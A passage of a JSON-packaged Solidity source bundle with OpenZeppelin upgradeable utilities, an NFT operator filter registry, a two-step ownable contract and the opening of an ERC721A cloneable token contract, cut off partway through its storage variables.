"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n /**\n * @notice Returns true if operator is not filtered for a given token, either by address or codeHash. Also returns\n * true if supplied registrant address is not registered.\n */\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n\n /**\n * @notice Registers an address with the registry. May be called by address itself or by EIP-173 owner.\n */\n function register(address registrant) external;\n\n /**\n * @notice Registers an address with the registry and \"subscribes\" to another address's filtered operators and codeHashes.\n */\n function registerAndSubscribe(address registrant, address subscription) external;\n\n /**\n * @notice Registers an address with the registry and copies the filtered operators and codeHashes from another\n * address without subscribing.\n */\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Unregisters an address with the registry and removes its subscription. May be called by address itself or by EIP-173 owner.\n * Note that this does not remove any filtered addresses or codeHashes.\n * Also note that any subscriptions to this registrant will still be active and follow the existing filtered addresses and codehashes.\n */\n function unregister(address addr) external;\n\n /**\n * @notice Update an operator address for a registered address - when filtered is true, the operator is filtered.\n */\n function updateOperator(address registrant, address operator, bool filtered) external;\n\n /**\n * @notice Update multiple operators for a registered address - when filtered is true, the operators will be filtered. Reverts on duplicates.\n */\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n\n /**\n * @notice Update a codeHash for a registered address - when filtered is true, the codeHash is filtered.\n */\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n\n /**\n * @notice Update multiple codeHashes for a registered address - when filtered is true, the codeHashes will be filtered. Reverts on duplicates.\n */\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n\n /**\n * @notice Subscribe an address to another registrant's filtered operators and codeHashes. Will remove previous\n * subscription if present.\n * Note that accounts with subscriptions may go on to subscribe to other accounts - in this case,\n * subscriptions will not be forwarded. Instead the former subscription's existing entries will still be\n * used.\n */\n function subscribe(address registrant, address registrantToSubscribe) external;\n\n /**\n * @notice Unsubscribe an address from its current subscribed registrant, and optionally copy its filtered operators and codeHashes.\n */\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n\n /**\n * @notice Get the subscription address of a given registrant, if any.\n */\n function subscriptionOf(address addr) external returns (address registrant);\n\n /**\n * @notice Get the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscribers(address registrant) external returns (address[] memory);\n\n /**\n * @notice Get the subscriber at a given index in the set of addresses subscribed to a given registrant.\n * Note that order is not guaranteed as updates are made.\n */\n function subscriberAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Copy filtered operators and codeHashes from a different registrantToCopy to addr.\n */\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n\n /**\n * @notice Returns true if operator is filtered by a given address or its subscription.\n */\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n\n /**\n * @notice Returns true if the hash of an address's code is filtered by a given address or its subscription.\n */\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n\n /**\n * @notice Returns true if a codeHash is filtered by a given address or its subscription.\n */\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n\n /**\n * @notice Returns a list of filtered operators for a given address or its subscription.\n */\n function filteredOperators(address addr) external returns (address[] memory);\n\n /**\n * @notice Returns the set of filtered codeHashes for a given address or its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n\n /**\n * @notice Returns the filtered operator at the given index of the set of filtered operators for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n\n /**\n * @notice Returns the filtered codeHash at the given index of the list of filtered codeHashes for a given address or\n * its subscription.\n * Note that order is not guaranteed as updates are made.\n */\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n\n /**\n * @notice Returns true if an address has registered\n */\n function isRegistered(address addr) external returns (bool);\n\n /**\n * @dev Convenience method to compute the code hash of an arbitrary contract\n */\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"lib/operator-filter-registry/src/lib/Constants.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\naddress constant CANONICAL_OPERATOR_FILTER_REGISTRY_ADDRESS = 0x000000000000AAeB6D7670E522A718067333cd4E;\naddress constant CANONICAL_CORI_SUBSCRIPTION = 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;\n"
},
"lib/operator-filter-registry/src/upgradeable/DefaultOperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFiltererUpgradeable} from \"./OperatorFiltererUpgradeable.sol\";\nimport {CANONICAL_CORI_SUBSCRIPTION} from \"../lib/Constants.sol\";\n\n/**\n * @title DefaultOperatorFiltererUpgradeable\n * @notice Inherits from OperatorFiltererUpgradeable and automatically subscribes to the default OpenSea subscription\n * when the init function is called.\n */\nabstract contract DefaultOperatorFiltererUpgradeable is OperatorFiltererUpgradeable {\n /// @dev The upgradeable initialize function that should be called when the contract is being deployed.\n function __DefaultOperatorFilterer_init() internal onlyInitializing {\n OperatorFiltererUpgradeable.__OperatorFilterer_init(CANONICAL_CORI_SUBSCRIPTION, true);\n }\n}\n"
},
"lib/operator-filter-registry/src/upgradeable/OperatorFiltererUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"../IOperatorFilterRegistry.sol\";\nimport {Initializable} from \"../../../../lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title OperatorFiltererUpgradeable\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry when the init function is called.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFiltererUpgradeable is Initializable {\n /// @notice Emitted when an operator is not allowed.\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n /// @dev The upgradeable initialize function that should be called when the contract is being upgraded.\n function __OperatorFilterer_init(address subscriptionOrRegistrantToCopy, bool subscribe)\n internal\n onlyInitializing\n {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isRegistered(address(this))) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n }\n\n /**\n * @dev A helper modifier to check if the operator is allowed.\n */\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n /**\n * @dev A helper modifier to check if the operator approval is allowed.\n */\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n /**\n * @dev A helper function to check if the operator is allowed.\n */\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n // under normal circumstances, this function will revert rather than return false, but inheriting or\n // upgraded contracts may specify their own OperatorFilterRegistry implementations, which may behave\n // differently\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"lib/utility-contracts/src/ConstructorInitializable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\n/**\n * @author emo.eth\n * @notice Abstract smart contract that provides an onlyUninitialized modifier which only allows calling when\n * from within a constructor of some sort, whether directly instantiating an inherting contract,\n * or when delegatecalling from a proxy\n */\nabstract contract ConstructorInitializable {\n error AlreadyInitialized();\n\n modifier onlyConstructor() {\n if (address(this).code.length != 0) {\n revert AlreadyInitialized();\n }\n _;\n }\n}\n"
},
"lib/utility-contracts/src/TwoStepOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\nimport {ConstructorInitializable} from \"./ConstructorInitializable.sol\";\n\n/**\n@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer\nOwner can cancel the transfer at any point before the new owner claims ownership.\nHelpful in guarding against transferring ownership to an address that is unable to act as the Owner.\n*/\nabstract contract TwoStepOwnable is ConstructorInitializable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address internal potentialOwner;\n\n event PotentialOwnerUpdated(address newPotentialAdministrator);\n\n error NewOwnerIsZeroAddress();\n error NotNextOwner();\n error OnlyOwner();\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n constructor() {\n _initialize();\n }\n\n function _initialize() private onlyConstructor {\n _transferOwnership(msg.sender);\n }\n\n ///@notice Initiate ownership transfer to newPotentialOwner. Note: new owner will have to manually acceptOwnership\n ///@param newPotentialOwner address of potential new owner\n function transferOwnership(address newPotentialOwner)\n public\n virtual\n onlyOwner\n {\n if (newPotentialOwner == address(0)) {\n revert NewOwnerIsZeroAddress();\n }\n potentialOwner = newPotentialOwner;\n emit PotentialOwnerUpdated(newPotentialOwner);\n }\n\n ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership\n function acceptOwnership() public virtual {\n address _potentialOwner = potentialOwner;\n if (msg.sender != _potentialOwner) {\n revert NotNextOwner();\n }\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n _transferOwnership(_potentialOwner);\n }\n\n ///@notice cancel ownership transfer\n function cancelOwnershipTransfer() public virtual onlyOwner {\n delete potentialOwner;\n emit PotentialOwnerUpdated(address(0));\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (_owner != msg.sender) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"src/clones/ERC721ACloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport { IERC721A } from \"ERC721A/IERC721A.sol\";\n\nimport {\n Initializable\n} from \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of ERC721 token receiver.\n */\ninterface ERC721A__IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\n/**\n * @title ERC721A\n *\n * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)\n * Non-Fungible Token Standard, including the Metadata extension.\n * Optimized for lower gas during batch mints.\n *\n * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)\n * starting from `_startTokenId()`.\n *\n * Assumptions:\n *\n * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721ACloneable is IERC721A, Initializable {\n // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).\n struct TokenApprovalRef {\n address value;\n }\n\n // =============================================================\n // CONSTANTS\n // =============================================================\n\n // Mask of an entry in packed address data.\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n // The bit position of `numberMinted` in packed address data.\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n // The bit position of `numberBurned` in packed address data.\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n // The bit position of `aux` in packed address data.\n uint256 private constant _BITPOS_AUX = 192;\n\n // Mask of all 256 bits in packed address data except the 64 bits for `aux`.\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n // The bit position of `startTimestamp` in packed ownership.\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n // The bit mask of the `burned` bit in packed ownership.\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n // The bit position of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n // The bit mask of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n // The bit position of `extraData` in packed ownership.\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n // The mask of the lower 160 bits for addresses.\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n // The maximum `quantity` that can be minted with {_mintERC2309}.\n // This limit is to prevent overflows on the address data entries.\n // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}\n // is required to cause an overflow, which is unrealistic.\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n // The `Transfer` event signature is given by:\n // `keccak256(bytes(\"Transfer(address,address,uint256)\"))`.\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n // =============================================================\n // STORAGE\n // =============================================================\n\n // The next token ID to be minted.\n uint256 private _currentIndex;\n\n // The number of tokens burned.\n uint256 private _burnCounter;\n\n // Token name\n string private _name;\n\n 